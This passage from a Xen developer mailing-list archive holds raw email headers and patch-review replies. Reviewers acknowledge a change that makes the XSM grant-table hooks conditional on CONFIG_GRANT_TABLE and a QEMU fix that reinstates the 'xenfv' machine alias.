1(uint8_t) to true (bool), while type4 is uint16_t.

> Thanks much for spotting.
> 

Your welcome.

>> I would just note there is quite a bit of churn in this patch, most of
>> it is mechanical, but makes it easy for these to slip through.
> 
> Right. Fortunately this needs doing only once.
> 

Yep, just makes review a little more fun.

>> After fixing this typo,
>>
>> Acked-by: Daniel P. Smith <dpsmith@apertussolutions.com>
> 
> Thanks.
> 
> Jan



From xen-devel-bounces@lists.xenproject.org Thu Jul 30 18:23:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 18:23:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378406.1623808 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpVPe-0006yT-DP; Thu, 30 Jul 2026 18:23:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378406.1623808; Thu, 30 Jul 2026 18:23:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpVPe-0006yL-AM; Thu, 30 Jul 2026 18:23:22 +0000
Received: by outflank-mailman (input) for mailman id 1378406;
 Thu, 30 Jul 2026 18:23:21 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dpsmith@apertussolutions.com>) id 1wpVPd-0006yF-0O
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 18:23:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpVPc-0042FX-Dg
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 20:23:20 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dpsmith@apertussolutions.com>)
 id 6a6b9683-5cb7-0a2a0a5109dd-0a2a45098122-16
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 20:23:19 +0200
Received: from [136.143.188.51] (helo=sender4-of-o51.zoho.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dpsmith@apertussolutions.com>)
 id 6a6b9695-be1a-0a2a45090019-888fbc33528c-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 20:23:19 +0200
Received: by mx.zohomail.com with SMTPS id 178543579213833.32882511905427;
 Thu, 30 Jul 2026 11:23:12 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=zoho header.d=apertussolutions.com header.i="dpsmith@apertussolutions.com" header.h="Message-ID:Date:MIME-Version:Subject:To:From:In-Reply-To:Content-Type:Content-Transfer-Encoding"
ARC-Seal: i=1; a=rsa-sha256; t=1785435795; cv=none; 
	d=zohomail.com; s=zohoarc; 
	b=oMF8Hapoydt2Jl7ncgI1AHdnaVDu4rE1v+5GJYVxG9XqtUAdXqOYONEb1OWDZMDgcPPPN0Oekdu3azbaW81fv2O0I/LVuuhX9vAGF+jexEnm0xo4fRlvbOQSdAdFIBaI2otxN3v44dC0v7Mf11fWtztaLVlezN9xwx5WILXQzUs=
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zohomail.com; s=zohoarc; 
	t=1785435795; h=Content-Type:Content-Transfer-Encoding:Date:Date:From:From:In-Reply-To:MIME-Version:Message-ID:Subject:Subject:To:To:Message-Id:Reply-To:Cc; 
	bh=62lZjmRyrDXfbIxGN5PDrQk3SGIAJLpBgmSiADztLZI=; 
	b=DoIaf+w/DQNlCjwbKydj68BSXHwf3SgeHe2vBoEkxaBz1qF23IEunD7D7/FD9PLzGNPTFvb8bXz2um3nsm6u9kJ8gjSmodGT3cQweUPVrERF8cXTC61mJWCUws29IPWqvA3y5tbw/5DAdQhBJQa/uAiliDentUSA/8MDtTAPfSk=
ARC-Authentication-Results: i=1; mx.zohomail.com;
	dkim=pass  header.i=apertussolutions.com;
	spf=pass  smtp.mailfrom=dpsmith@apertussolutions.com;
	dmarc=pass header.from=<dpsmith@apertussolutions.com>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; t=1785435795;
	s=zoho; d=apertussolutions.com; i=dpsmith@apertussolutions.com;
	h=Message-ID:Date:Date:MIME-Version:Subject:Subject:To:To:From:From:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Reply-To:Cc;
	bh=62lZjmRyrDXfbIxGN5PDrQk3SGIAJLpBgmSiADztLZI=;
	b=pq1aVu0OwBM0AbQieRtlAsfJ0bftYTyHhuxBZt2eTf9LLceRaytEvTwCMC6tHJB7
	zXID+o4rc3Bj9OUMWQbW2JQfK68qWIJ7UZl5QfdLFIZY0r//TTBKEditMsYjpUbl50I
	8pxk7GH6DRWO9KspvlH0dinTxZMHKijlOGJuGbOw=
Message-ID: <c42415b5-9398-4908-bbee-c7554f5f3bc5@apertussolutions.com>
Date: Thu, 30 Jul 2026 14:23:20 -0400
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 02/24] XSM: make .grant_*() hooks dependent upon
 GRANT_TABLE=y
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
 <8e81ded4-7855-4c08-b673-ffb6124888c7@suse.com>
Content-Language: en-US
From: "Daniel P. Smith" <dpsmith@apertussolutions.com>
In-Reply-To: <8e81ded4-7855-4c08-b673-ffb6124888c7@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-ZohoMailClient: External
X-purgate-ID: tlsNG-bad1c0/1785435799-BF2DC034-05B0219B/0/0
X-purgate-type: clean
X-purgate-size: 3398

On 7/28/26 9:14 AM, Jan Beulich wrote:
> They're unreachable / dead otherwise.
> 
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> 
> --- a/xen/include/xsm/dummy.h
> +++ b/xen/include/xsm/dummy.h
> @@ -191,6 +191,8 @@ static XSM_INLINE void cf_check xsm_free
>       return;
>   }
>   
> +#ifdef CONFIG_GRANT_TABLE
> +
>   static XSM_INLINE int cf_check xsm_grant_mapref(
>       XSM_DEFAULT_ARG struct domain *d1, struct domain *d2, uint32_t flags)
>   {
> @@ -233,6 +235,8 @@ static XSM_INLINE int cf_check xsm_grant
>       return xsm_default_action(action, d1, d2);
>   }
>   
> +#endif /* CONFIG_GRANT_TABLE */
> +
>   static XSM_INLINE int cf_check xsm_memory_exchange(
>       XSM_DEFAULT_ARG struct domain *d)
>   {
> --- a/xen/include/xsm/hooks.h
> +++ b/xen/include/xsm/hooks.h
> @@ -35,12 +35,14 @@ XSM_HOOK(int, evtchn_send, struct domain
>   XSM_HOOK(int, evtchn_status, struct domain *, struct evtchn *)
>   XSM_HOOK(int, evtchn_reset, struct domain *, struct domain *)
>   
> +#ifdef CONFIG_GRANT_TABLE
>   XSM_HOOK(int, grant_mapref, struct domain *, struct domain *, uint32_t)
>   XSM_HOOK(int, grant_unmapref, struct domain *, struct domain *)
>   XSM_HOOK(int, grant_setup, struct domain *, struct domain *)
>   XSM_HOOK(int, grant_transfer, struct domain *, struct domain *)
>   XSM_HOOK(int, grant_copy, struct domain *, struct domain *)
>   XSM_HOOK(int, grant_query_size, struct domain *, struct domain *)
> +#endif
>   
>   XSM_HOOK(int, init_hardware_domain, struct domain *)
>   
> --- a/xen/xsm/flask/hooks.c
> +++ b/xen/xsm/flask/hooks.c
> @@ -434,6 +434,8 @@ static int cf_check flask_init_hardware_
>       return current_has_perm(d, SECCLASS_DOMAIN2, DOMAIN2__CREATE_HARDWARE_DOMAIN);
>   }
>   
> +#ifdef CONFIG_GRANT_TABLE
> +
>   static int cf_check flask_grant_mapref(
>       struct domain *d1, struct domain *d2, uint32_t flags)
>   {
> @@ -470,6 +472,8 @@ static int cf_check flask_grant_query_si
>       return domain_has_perm(d1, d2, SECCLASS_GRANT, GRANT__QUERY);
>   }
>   
> +#endif /* CONFIG_GRANT_TABLE */
> +
>   static int cf_check flask_get_pod_target(struct domain *d)
>   {
>       return current_has_perm(d, SECCLASS_DOMAIN, DOMAIN__GETPODTARGET);
> --- a/xen/xsm/silo.c
> +++ b/xen/xsm/silo.c
> @@ -60,6 +60,8 @@ static int cf_check silo_evtchn_interdom
>       return -EPERM;
>   }
>   
> +#ifdef CONFIG_GRANT_TABLE
> +
>   static int cf_check silo_grant_mapref(
>       struct domain *d1, struct domain *d2, uint32_t flags)
>   {
> @@ -82,6 +84,8 @@ static int cf_check silo_grant_copy(stru
>       return -EPERM;
>   }
>   
> +#endif /* CONFIG_GRANT_TABLE */
> +
>   #ifdef CONFIG_ARGO
>   
>   static int cf_check silo_argo_register_single_source(
> @@ -105,9 +109,11 @@ static int cf_check silo_argo_send(
>   static const struct xsm_ops __initconst_cf_clobber silo_xsm_ops = {
>       .evtchn_unbound = silo_evtchn_unbound,
>       .evtchn_interdomain = silo_evtchn_interdomain,
> +#ifdef CONFIG_GRANT_TABLE
>       .grant_mapref = silo_grant_mapref,
>       .grant_transfer = silo_grant_transfer,
>       .grant_copy = silo_grant_copy,
> +#endif
>   #ifdef CONFIG_ARGO
>       .argo_register_single_source = silo_argo_register_single_source,
>       .argo_send = silo_argo_send,
> 

Acked-by: Daniel P. Smith <dpsmith@apertussolutions.com>


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 18:51:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 18:51:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378449.1623818 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpVqi-0003Wa-J5; Thu, 30 Jul 2026 18:51:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378449.1623818; Thu, 30 Jul 2026 18:51:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpVqi-0003WT-Ev; Thu, 30 Jul 2026 18:51:20 +0000
Received: by outflank-mailman (input) for mailman id 1378449;
 Thu, 30 Jul 2026 18:51:19 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <sstabellini@kernel.org>) id 1wpVqh-0003WN-KO
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 18:51:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpVqh-000ovV-1D
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 20:51:19 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <sstabellini@kernel.org>)
 id 6a6b9cfe-bab6-0a2a0a5309dd-0a2a450ce1e4-32
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 20:51:18 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <sstabellini@kernel.org>)
 id 6a6b9d25-f479-0a2a450c0019-ac6904fea244-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 20:51:18 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 2DA36600C8;
 Thu, 30 Jul 2026 18:51:17 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 727E81F000E9;
 Thu, 30 Jul 2026 18:51:14 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:cc:Subject:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1785437476;
	bh=uL+g8TRymdN2Qu+FrAA+vKroadVYYM5U1shEwR476nI=;
	h=Date:From:To:cc:Subject:In-Reply-To:References;
	b=btgR0Rl3NCK3Kit+FfK+VzoHISmjvjDhfCQRccYYVXMmKq/Gk+hFg2lZl0yD4WYHs
	 pkkkn/Yelp4NmSXlTLDLfQkSDrazXYCdwnm63ig0jB1zEUjC+Prk9ldNq0OH2aHNSo
	 kQ5/pb14eZB9w8fIgRpB939joihhlZo2d5D1vVUAClU7T3iL7twfc67Q8xpEcXxJ9U
	 novMvPNfT7tHMwAMk6tl5v8w/tXQApOB3YWg0MNjsr96OJ62C2+r7Th4kyuFbjPuUh
	 FVc3cTA1xmC7O56aV0eA466r/wA0xlwMoj+4g4G6V+MS71lRclE/GfQPMdxCwQ00Lg
	 tnckZS1rDsYJQ==
Date: Thu, 30 Jul 2026 11:51:12 -0700 (PDT)
From: Stefano Stabellini <sstabellini@kernel.org>
To: =?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>
cc: Dario Faggioli <dfaggioli@suse.com>, qemu-devel@nongnu.org, 
    philmd@linaro.org, xen-devel@lists.xenproject.org, sstabellini@kernel.org, 
    anthony@xenproject.org, paul@xen.org, Paolo Bonzini <pbonzini@redhat.com>, 
    Richard Henderson <richard.henderson@linaro.org>, 
    "Michael S. Tsirkin" <mst@redhat.com>
Subject: Re: [PATCH] hw/i386/pc: xen: reinstate the "xenfv" machine alias
In-Reply-To: <amt7j5SAZo07O7xB@redhat.com>
Message-ID: <642c70db-8b59-fbc7-92a2-f27bb56c1206@kernel.org>
References: <20260730162238.3308286-1-dfaggioli@suse.com> <amt7j5SAZo07O7xB@redhat.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="8323329-600655182-1785437475=:513563"
X-purgate-ID: tlsNG-d25034/1785437478-51F33A5B-9703116F/0/0
X-purgate-type: clean
X-purgate-size: 1332

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

--8323329-600655182-1785437475=:513563
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8BIT

On Thu, 30 Jul 2026, Daniel P. BerrangÃ© wrote:
> On Thu, Jul 30, 2026 at 06:22:38PM +0200, Dario Faggioli wrote:
> > Commit 7d2778dea32a4924a469f1cc5767042c8f5b4eea ("hw/i386/pc:
> > Remove deprecated pc-q35/pc-i440fx/xenfv 3.1 machines") removed
> > the Xen machine type that was providing the "xenfv" alias. As a
> > consequence, since the tools are apparently relying on such alias,
> > we're getting this, as soon as one tries to start a Xen (HVM) VM:
> > 
> >   qemu-system-i386: unsupported machine type: "xenfv"
> >   Use -machine help to list supported machines
> > 
> > Reinstate the alias and let it point to the only Xen machine we
> > still have.
> > 
> > Fixes: 7d2778dea3 hw/i386/pc: Remove deprecated pc-q35/pc-i440fx/xenfv 3.1 machines
> > Signed-off-by: Dario Faggioli <dfaggioli@suse.com>
> > ---
> >  hw/i386/pc_piix.c | 1 +
> >  1 file changed, 1 insertion(+)
> 
> Reviewed-by: Daniel P. BerrangÃ© <berrange@redhat.com>

Acked-by: Stefano Stabellini <sstabellini@kernel.org>
--8323329-600655182-1785437475=:513563--


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 04:42:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 04:42:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378715.1623826 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpf4k-0007we-J6; Fri, 31 Jul 2026 04:42:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378715.1623826; Fri, 31 Jul 2026 04:42:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpf4k-0007wV-DQ; Fri, 31 Jul 2026 04:42:26 +0000
Received: by outflank-mailman (input) for mailman id 1378715;
 Fri, 31 Jul 2026 04:42:25 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wpf4i-0007wP-1P
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 04:42:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpf4g-007w8W-RL
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 06:42:22 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a6c276b-bab6-0a2a0a5309dd-0a2a4501eafa-44
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 06:42:22 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a6c27ab-5984-0a2a45010019-94a3921765ee-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 06:42:21 +0200
Received: from pps.filterd (m0367123.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66V1uTOd3242283
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 04:42:19 GMT
Received: from sn4pr0501cu005.outbound.protection.outlook.com
 (mail-southcentralusazon11011033.outbound.protection.outlook.com
 [40.93.194.33])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4frc7e43fd-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 04:42:18 +0000 (GMT)
Received: from CH2PR19CA0017.namprd19.prod.outlook.com (2603:10b6:610:4d::27)
 by IA1PR16MB5288.namprd16.prod.outlook.com (2603:10b6:208:453::8)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.15; Fri, 31 Jul
 2026 04:42:15 +0000
Received: from CH2PEPF000000A0.namprd02.prod.outlook.com
 (2603:10b6:610:4d:cafe::73) by CH2PR19CA0017.outlook.office365.com
 (2603:10b6:610:4d::27) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.15 via Frontend Transport; Fri,
 31 Jul 2026 04:42:15 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 CH2PEPF000000A0.mail.protection.outlook.com (10.167.244.26) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.292.8
 via Frontend Transport; Fri, 31 Jul 2026 04:42:15 +0000
Received: from pps.filterd (m0373461.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66V1vrVU3135500
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 00:42:14 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [50.112.124.217])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fnbs770k3-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 00:42:14 -0400 (EDT)
Received: from localhost ([19.12.92.221]) by cmsmtp with ESMTPSA
 id pf4UwgSVOjJj0pf4VwVbj1; Fri, 31 Jul 2026 04:42:13 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-type:date:from:in-reply-to:message-id:mime-version
	:references:subject:to; s=ppford; bh=Hq4WjT+4KqxAol7KOfUzCVNCO0m
	cidLSBw0Vu6r7FLg=; b=tD1X1u9OXXJusYVydpjy45qIw4fKTUm+EKrxKNMKC4V
	4Je8kpBYtCvpPYOTsDIGQJDj1//m/iLeyc0v+WeB5mAZkGCt+5eDwcdCdXO6mT9R
	AASDMw5zAQ+T5PdPoU6sMEtd1xa/KuQAi3JrFT7xt1MJSEnrImwUoPDmKfDQcyQf
	Wz4y92KSk4YkyKPnLwvSbWOnI01W+Cd0TNnQVEVyv3dS/ptaq9Fph0/sTcaTU0yL
	smVv0D822xmS6BKR3LGJJhoA5YuC8OOjhlACRLofCpthW7R6RXo2/rlOxRKn5RBc
	yXVW9eMcqBboRxbiUGabQq0d7l4LJ+YyN6VEEQtFuqA==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=e2Gn4Dfs7ShkJEkyS+gOlJsfRRWC3sOuXcWrOlIcO65hFh9kxBBs8TQNQlpHNDrE1J5t1uRPfJ3HXH3pT5xo/NcrC8OI7DpeAGocZn3Hh3JWpAkK5Ys53THs4dPg/GV9m9HTE5sMdVQLG2IJhoR63yhCWvise0gM1uCbXmw8R4iMQPGgmhVN/ooltXgjwMFSZghK1Z/IT8tywo34X8yvX3LGP6U5o5qHgx/f5RAH47gvfvjeNqO5ZBcEh1pCioLTfqV2l57gk9bcsUrTD7p3DKPDf4M4CyZ+yD+RfrlpxYsZZetMpYhFvQArCzMcC9/UBLb4KhfLyO1DHpxEECOdZQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Hq4WjT+4KqxAol7KOfUzCVNCO0mcidLSBw0Vu6r7FLg=;
 b=KXLyO8w0P5oobd8tWBg5TkhonRWqCFSx6fYy+7kaaZ81boOwvj5XZiDOi8GZEstZIXibF3zCpJ0R78UAt7mgz1gQpwEHea/vl1s/cyEZGw3wgb4MU+n5tDJkkpCn32HZbqI5z6XHXDf3jgES5Xn96QK8ybqE4xqBJ+eVEUmc2GMRwphDLqFokUWZkvTihAAR8o0l7RVVCl0VdBnnxtlNgcqmerbrZGaPm32kKBV3b2xXrxy3pbZ+NhcLs50M7wgCT2LVbWOhzFJifsvGAavxk7ogN8XMzqerR49zdu5sdczyNBvedn+8H8ybrHiD/VPGu0qk/5zWQHTQKxwToSkbFA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Hq4WjT+4KqxAol7KOfUzCVNCO0mcidLSBw0Vu6r7FLg=;
 b=X6n4Zc14zCkHnF7DQvvytWVXDfxK1+QoAgwvvcGIgZl0cFVdWyg2Fm5D0njK8p+NdcbkvakYUMW2VjFnzwvlFDv2NydKzb9emj2hyrd7niafe6JUeSmBEfpij++00NtrtlGV/ns7SfCUgXdmflETLm7yP/2I5IobnzHfw06QvEo=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppserprodsaar;
	 bh=Hq4WjT+4KqxAol7KOfUzCVNCO0mcidLSBw0Vu6r7FLg=; b=WyyMqpLwmTia
	iEYV1AsmWeyJ+Y0C0DBpIbdgB78kdy+UbuD0QkCNT+37g8C5bca9l6qoyEvOdv1F
	brSk91A8kZSgoBFxmpr+8XEKtvDo0D3APbRN5f35493KOKCfwkv78Kd4Qta4/xGM
	qICj/pducYmRKO40OFEE61lYxDNs6eyBnMHbzIWoshUX8DbhS7cwOBMt7+uBeZ3X
	LIQeQbrmqO5ZQiIAutd/M0WoTTprXJlf7zj8IjChVnl4HLZeFlFdDX36y6rJDYkG
	xZ6fm7gt4sX2XI/6217CuFzVCsbI/299C9TZ9iPTynjzDH9BG4FtbLRnbYR4WxtB
	zl4pk2X2hA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-type:date:from:in-reply-to:message-id:mime-version
	:references:subject:to; s=ppfserpocford; bh=Hq4WjT+4KqxAol7KOfUz
	CVNCO0mcidLSBw0Vu6r7FLg=; b=T5YR5egJdwVGJjaxl6HAOqwB0hxrbLPmgaMn
	1REsMoLgPe8riGk269HMVthndzbmolAzEl9l77Ey5zXw7+eOYgchJxiNSote06nA
	KOYp+GmqIxdqd8E1qB1ZonBrwuLs486tdnCM6G0SuhbDo2dHmLr8QLknNvSzEnEq
	68S/JAkUm+IldQo6YNT3FSMF0TNPF3x/DnkNsZuZlEMjYPg9ANGyzpRBGsdBPQ7g
	25a1PxIfTSCxu9LIK1nPEZhgiX80y+LJEdX/fN1hB4NpmFfItv0S3m2sct6eXJzA
	kcVxNO+AzdDtR2S6mVvpe+TLM0IzEpzAOqygcQ2aSqgBSjrQNQ==
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: pf4UwgSVOjJj0pf4VwVbj1
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
Date: Thu, 30 Jul 2026 21:42:10 -0700
To: Jan Beulich <jbeulich@suse.com>
Cc: dmukhin@ford.com, andrew.cooper3@citrix.com, anthony.perard@vates.tech,
        julien@xen.org, michal.orzel@amd.com,
        Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger@xenproject.org>,
        sstabellini@kernel.org, xen-devel@lists.xenproject.org
Subject: Re: [PATCH] acpi: reboot: log reset parameters
Message-ID: <amwnolcHTioaRjpe@kraken>
